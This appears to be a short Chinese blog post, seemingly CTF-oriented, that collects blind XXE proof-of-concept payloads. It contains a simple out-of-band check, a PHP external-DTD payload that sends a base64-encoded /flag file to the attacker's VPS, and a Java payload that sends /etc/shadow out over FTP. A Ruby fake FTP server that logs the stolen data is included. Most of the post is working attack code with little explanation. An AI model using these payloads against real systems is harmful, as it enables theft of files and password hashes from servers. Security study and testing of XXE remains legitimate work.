XXE blind 简单poc & 读文件
原理简介:https://blog.csdn.net/u011721501/article/details/43775691首先你要确定是xml格式的数据,content-type是xml,PHP和JAVA利用有点不一样PHP 利用方式读取文件POC 利用:自己vps放置xxe.xml<!ENTITY % payload SYSTEM "php://fil...
·
原理简介:
https://blog.csdn.net/u011721501/article/details/43775691
首先你要确定是xml格式的数据,content-type是xml,PHP和JAVA利用有点不一样
简单验证POC:
<!DOCTYPE b [<!ENTITY xxe SYSTEM "http://xxxxx.ceye.io/sworderNB22222-----">]>
<name>&xxe;</name>
PHP 利用方式. // python3 http.server 9099 开个服务 就行,读到的文件 直接就显示 出来了(访问日志)
读取文件POC 利用:
自己vps放置
test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://your_vps/get.php?file=%file;'>">
访问post处贴
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % remote SYSTEM "http://your_vps/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
JAVA利用方式
参考 http://www.voidcn.com/article/p-njawsjxm-ko.html
参考 从 blind XXE 到读取根目录文件 - 先知社区
自己VPS运行:
ruby ftp.rb(centos安装ruby挺方便,别嫌麻烦,就一行命令
// name ftp.rb
require 'socket'
server = TCPServer.new 8080
loop do
Thread.start(server.accept) do |client|
puts "New client connected"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
puts "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
end
end
自己VPS放置:
// evil.xml
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://ip:8080/%file;'>">
%int;
%send;
访问post处贴
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/evil.xml">
%remote;]>
<root/>
更多推荐
已为社区贡献1条内容
所有评论(0)